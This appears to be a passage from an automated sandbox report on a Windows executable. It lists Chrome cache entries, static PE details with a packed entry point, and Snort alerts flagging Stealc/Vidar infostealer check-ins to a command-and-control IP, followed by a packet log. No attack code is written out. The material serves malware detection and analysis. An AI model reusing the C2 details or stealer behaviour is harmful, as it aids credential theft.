Nyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var HDa=_.ca.URL,IDa,JDa,LDa,KDa;try{new HDa("http://example.com"),IDa=!0}catch(a){IDa=!1}JDa=IDa;.LDa=function(a){var b=_.hh("A");try{_.Jb(b,new _.xb(a));var c=b.protocol}catch(e){throw Error("qc`"+a);}if(c===""\|\|c===":"\|\|c[c.length-1]!=":")throw Error("qc`"+a);if(!KDa.has(c))throw Error("qc`"+a);if(!b.hostname)throw Error("qc`"+a);var d=b.href;a={href:d,protocol:b.protocol,username:"",password:"",hostname:b.hostname,pathname:"/"+b.pathname,search:b.search,hash:b.hash,toString:function(){return d}};KDa.get(b.protocol)===b.port?(a.host=a.hostname,a.port="",a.origin=a.protocol+"//"+a.hostname):.(a.host=b.host,a.port=b.port,a.origin=a.protocol+"//"+a.hostname+":"+a.port);return a};._.MDa=function(a){if(JDa){try{var b=new HDa(a)}catch(d){throw Error("qc`"+a);}var c=KDa.get(b.protocol);if(!c)throw Error("qc`"+a);if(!b.hostname)throw Error("qc`"+a);b.origin=="null"&&(a={href:b.hre

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1192)
Category:	downloaded
Size (bytes):	96558
Entropy (8bit):	5.542959034430961
Encrypted:	false
SSDEEP:	1536:h5K9QgDoJZFMZZMR3Du4JnSyg/FyO7D4yQFPA0tEFHvnAwDyHK:K9rYFjDu4Jnzg/AO7hWPA0tE9vGHK
MD5:	E020446EC64C78D8127C8E4D0C8D08DB
SHA1:	6447A74183CD590FAB25C008E60F838D09BF12E1
SHA-256:	32779135C0EC086DA69B2DC597A8620CAEE8E104E079B5A02D98A8676712577E
SHA-512:	08348FAF64E033574D45446D75B8DFA01EE111C0FEE508ECE2E685C7C4986B833594279BD681E5DA2A02C5FB27DF039DF7E9751BB63A115AF4D3BB0688EA7659
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.ZU1EFvXsC20.es5.O/ck=boq-identity.AccountsSignInUi.DDD9SPcAL2k.L.B1.O/am=HmAYCJ1zFADxnHPgA5QCIQMAAAAAAAAAgJYBMgM/d=1/exm=AvtSve,CMcBD,EFQ78c,EN3i8d,F6sNGb,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PrPYRd,Rkm0ef,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZakeSe,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,gJzDyc,hc6Ubd,inNHtf,lRrMHd,lsjVmc,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,qmdT9,r1n9ec,rCcCxc,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEfiLuEnjxYrdf-rk4qPrRacOxopQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:F6sNGb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,SD8Jgb,rmumx,E87wgc,qPYxq,Tbb4sb,pxq3x,f8Gu1e,soHxf,YgOFye,qPfo0c,yRXbo,bTi8wc,ywOR5c,PHUIyb"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ltDFwf");.var jxb=_.y("ltDFwf");var CU=function(a){_.K.call(this,a.Fa);var b=this.oa();this.xb=this.Sa("P1ekSe");this.mb=this.Sa("cQwEuf");this.da=b.getData("progressvalue").number(0);this.ja=b.getData("buffervalue").number(1);this.Ca=b.Cb("B6Vhqe");this.Oa=b.Cb("juhVM");this.wa=b.Cb("D6TUi");this.aa=b.Cb("qdulke");this.La=this.da!==0;this.Ka=this.ja!==1;this.Ga=[];this.ea=_.is(this).Vb(function(){this.Ga.length&&(this.Ga.forEach(this.g$,this),this.Ga=[]);this.La&&(this.La=!1,this.xb.rb("transform","scaleX("+this.da+")"));this.Ka&&.(this.Ka=!1,this.mb.rb("transform","scaleX("+this.ja+")"));_.er(b,"B6Vhqe",this.Ca);_.er(b,"D6TUi",this.wa);_.er(b,"juhVM",this.Oa);_.er(b,"qdulke",this.aa)}).build();this.ea();_.Fg&&_.is(this).Vb(function(){b.tb("ieri7c")}).Fe().build()();_.bA(this.oa().el(),this.Ta.bind(this))};_.B(CU,_.K);CU.Ba=_.K.Ba;.CU.prototype.Ta=function(a,b){kxb(this

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (693)
Category:	downloaded
Size (bytes):	3143
Entropy (8bit):	5.37079395351489
Encrypted:	false
SSDEEP:	48:o7gbuQLkZHPLbrzOw3KP757NQ8jsKyYqb6f4np/EkGuf/x06IZ2rw:orQGXJaT57OMNwp/kufJRgqw
MD5:	DB38B407EAF251C03254DA070DF97E29
SHA1:	440A9FE061A55A3C2E20FC8D5421CB89B691C4D5
SHA-256:	7071B6E12C5D15142A9D5EF16103678A3038B6D8FFDCDCE248C9E26B9D4D0E81
SHA-512:	B99B5DDA32BACF2C79CB23FFD9EC624AD678243C6DBEC19409C298C09486E8F38F31AD658A23BC9D5E249E7D906BA66C303EA3B84F63FD6B053CF588B718F377
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.ZU1EFvXsC20.es5.O/ck=boq-identity.AccountsSignInUi.DDD9SPcAL2k.L.B1.O/am=HmAYCJ1zFADxnHPgA5QCIQMAAAAAAAAAgJYBMgM/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,F6sNGb,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,YHI3We,YTxL4,YgOFye,ZakeSe,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,lRrMHd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,r1n9ec,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEfiLuEnjxYrdf-rk4qPrRacOxopQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:F6sNGb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZwDk9d,RMhBfe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var gw=function(a){_.J.call(this,a.Fa)};_.B(gw,_.J);gw.Na=_.J.Na;gw.Ba=_.J.Ba;gw.prototype.aO=function(a){return _.qe(this,{ab:{hP:_.zj}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.sh(function(e){window._wjdc=function(f){d(f);e(EFa(f,b,a))}}):EFa(c,b,a)})};var EFa=function(a,b,c){return(a=a&&a[c])?a:b.ab.hP.aO(c)};.gw.prototype.aa=function(a,b){var c=_.Vta(b).Fi;if(c.startsWith("$")){var d=_.Zl.get(a);_.$p[b]&&(d\|\|(d={},_.Zl.set(a,d)),d[c]=_.$p[b],delete _.$p[b],_.aq--);if(d)if(a=d[c])b=_.pe(a);else throw Error("Xb`"+b);else b=null}else b=null;return b};_.Pq(_.mea,gw);._.l();._.k("SNUn3");._.DFa=new _.Ce(_.yf);._.l();._.k("RMhBfe");.var FFa=function(a,b){a=_.msa(a,b);return a.length==0?null:a[0].ctor},GFa=function(){return Object.values(_.Yo).reduce(function(a,b){return a+Object.keys(b).length},0)},HFa=function(){return Object.entries

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.453416561671607
Encrypted:	false
SSDEEP:	3:8VKJmQcwVbF7KnZ:BJmjwVbF7KZ
MD5:	491DC96011445194971CFAE6A7A0B191
SHA1:	74BD675A8CBC8AF507C0EB5509727EA3F9B85060
SHA-256:	C3BA6FCBB38A83C87009DEE4BAB93A9B3274553128D77E5B2C04077ECD35C1D3
SHA-512:	38356EF67B6B704F2129828299E516B04B29EA1EEB25CF356E22E3AFEC7A875E2187F70E9E7CF0467DEFA14F11D802ACF00D69B2B13EFEA025942E21383AC35E
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	Ch8KBw0ZARP6GgAKCw3oIX6GGgQISxgCCgcN05ioBxoA

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44533)
Category:	downloaded
Size (bytes):	836241
Entropy (8bit):	5.751370782507753
Encrypted:	false
SSDEEP:	6144:PLTYSPd+lWTqKZF8hmDrIMmqu3+jgX0BWj4+X+bW1wp8S+lo:PLTYSF+lWTASNjGXLC9
MD5:	775F8A77AAE74DB7478D5EDADF67460A
SHA1:	740A72415AC75C2F1E08654386BC7B1B5E21BC5C
SHA-256:	01917BB57EA57B80D14AD3FACD6560106AA6935A26077C0AD13BF460751D8A65
SHA-512:	E8FFE4E59CC021EB2DC32B7050922BA61EC75A17C40245F399AE4064BBCD2029DA014E5D33D44F8447120DA2727ACC55DB6838A75563F6E7C276462907F92679
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.ZU1EFvXsC20.es5.O/ck=boq-identity.AccountsSignInUi.DDD9SPcAL2k.L.B1.O/am=HmAYCJ1zFADxnHPgA5QCIQMAAAAAAAAAgJYBMgM/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEfiLuEnjxYrdf-rk4qPrRacOxopQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:F6sNGb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,m9oV,NTMZac,mzzZzc,rCcCxc,vvMGie,K1ZKnb,ziZ8Mc,b3kMqb,mvkUhe,CMcBD,Fndnac,t2srLd,EN3i8d,z0u0L,xiZRqc,NOeYWe,O6y8ed,L9OGUe,PrPYRd,MpJwZc,hc6Ubd,Rkm0ef,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,gJzDyc,SpsfSb,aC1iue,tUnxGc,aW3pY,ZakeSe,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,lRrMHd,xBaz7b,F6sNGb,eVCnO,r1n9ec,LDQI"
Preview:	"use strict";_F_installCss(".VfPpkd-Sx9Kwc .VfPpkd-P5QLlc{background-color:#fff;background-color:var(--mdc-theme-surface,#fff)}.VfPpkd-Sx9Kwc .VfPpkd-IE5DDf,.VfPpkd-Sx9Kwc .VfPpkd-P5QLlc-GGAcbc{background-color:rgba(0,0,0,.32)}.VfPpkd-Sx9Kwc .VfPpkd-k2Wrsb{color:rgba(0,0,0,.87)}.VfPpkd-Sx9Kwc .VfPpkd-cnG4Wd{color:rgba(0,0,0,.6)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub{color:#000;color:var(--mdc-theme-on-surface,#000)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::after{background-color:#000;background-color:var(--mdc-ripple-color,var(--mdc-theme-on-surface,#000))}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:hover .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-XxIAqe-OWXEXe-ZmdkE .VfPpkd-Bz112c-Jh9lGc::before{opacity:.04;opacity:var(--mdc-ripple-hover-opacity,.04)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:not(.VfPpkd-ksKsZd-mWPk3d):

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9843608049585715
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'533'376 bytes
MD5:	de1d8c161d81ba79c888fef77c75db93
SHA1:	55e3b5e658d41d98779214afb48d34c66bf17346
SHA256:	31cbdcdb540d6bc6fbc616c288f6f7ad7c74fe74eff55a135dafc31853b76126
SHA512:	4d243246e4476555a4b018d2df63ae93da8c64096523c8f8b20ba616b0dec97c21e4bed7dced51da50c0908ad3da6b882b11de6d668b71852f2290850a6810ea
SSDEEP:	49152:vPiQkQzZS8gLMKRldUs2oubV45E0DILOwn191hp/bGiW7Vsf5NB4n/FcnqbLi9f:z59XEM4dUlouh0EgIfTs37V89YFcnqbY
TLSH:	B4C5336FA029A706F409C2799DDCCD9FC4FB264E7A6F57B44F2012864DA57A03B2143B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xff0dfc
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6686E6C8 [Thu Jul 4 18:15:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F12E0C398DAh
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF0DFCh
jmp 00007F12E0C398D9h
push edx
xchg dword ptr [edx+0DFCB8ECh], edx
mov edi, 81C50300h
ror byte ptr [eax+eax+00h], 00000000h
mov ecx, 000005A9h
mov edx, 273BB320h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F12E0C398CCh
jmp 00007F12E0C398D9h
mov edi, ABDF1B50h
in eax, dx
stosd
test eax, 2020201Ch
mov eax, dword ptr [2020D8E1h]
and byte ptr [ebx], ah
in eax, dx
cwde
and al, 20h
and byte ptr [eax], ah
call far C2D7h : 20202008h
and ebp, eax
stosd
mov eax, dword ptr [2020202Ch]
and esp, ebp
lodsd
inc esp
add al, DCh
test eax, 48700424h
call 00007F1328E39AAEh
adc dh, byte ptr [040C2120h+edi*4]
dec eax
jne 00007F12E0C398B6h
cmp eax, 2025C8CAh
and byte ptr [eax], ah
leave
push ss
and byte ptr [eax], ah
and byte ptr [ebp-5623FBBCh], ch
or al, 04h
lodsd
dec esp
add al, 20h
stosd
movsd
sub byte ptr [eax], ah
and byte ptr [eax], ah
stosd
mov ch, 2Ch
and byte ptr [eax], ah
and byte ptr [ebx+202030ADh], ch
and cl, ah
leave
and dl, byte ptr [ecx]
and ah, byte ptr [ebx+2F6924E2h]
movsd
aam DFh
fstp9 st(7)
stosd

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9ce020	0xe65	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9cee88	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9ce000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	50ae59749e106b6da6d8e8475453efbe	False	0.9995712652439024	OpenPGP Secret Key	7.995194725278902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	9257e76a99d65f19b2dbf5d5a7119017	False	0.9920654296875	OpenPGP Public Key	7.976101280157095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	fab31b5a4bd96f135800b2d450aea36b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	37fcaa9cb493d83743519d4721a0620a	False	0.9898681640625	data	7.948506104133843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x78f000	0x32800	39d6ecec541f078df0c814c44585615b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9cb000	0x228000	0x227400	a148d4065624084b788ce6a8b89b1204	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/04/24-22:20:23.150947	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49704	85.28.47.30	192.168.2.5
07/04/24-22:20:22.958025	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49704	85.28.47.30	192.168.2.5
07/04/24-22:20:22.959796	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	85.28.47.30
07/04/24-22:19:54.597764	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	85.28.47.30
07/04/24-22:20:22.774261	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	85.28.47.30

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 22:19:52.256114006 CEST	49674	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:19:52.256118059 CEST	49675	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:19:52.381115913 CEST	49673	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:19:54.592433929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:19:54.597472906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:19:54.597580910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:19:54.597764015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:19:54.602663994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:01.865457058 CEST	49675	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:20:01.865493059 CEST	49674	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:20:01.990468025 CEST	49673	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:20:03.658179045 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 4, 2024 22:20:03.658251047 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:20:13.239789963 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:13.239813089 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:13.239870071 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:13.241801023 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:13.241817951 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:13.943891048 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:13.943994999 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:13.946410894 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:13.946419954 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:13.946836948 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:13.990457058 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.701200008 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.748488903 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.923979044 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924055099 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924077034 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924117088 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924129963 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.924145937 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924155951 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.924166918 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.924201012 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.924201012 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.925100088 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.925203085 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:14.925210953 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.925328016 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:14.926006079 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:15.626965046 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:15.626981020 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:15.627051115 CEST	49705	443	192.168.2.5	52.165.165.26
Jul 4, 2024 22:20:15.627057076 CEST	443	49705	52.165.165.26	192.168.2.5
Jul 4, 2024 22:20:22.772594929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:22.772679090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:22.774260998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:22.779099941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:22.958024979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:22.958061934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:22.958121061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:22.958137035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:22.959795952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:22.966623068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.150947094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.150994062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:23.151007891 CEST	80	49704	85.28.47.30	192.168.2.5
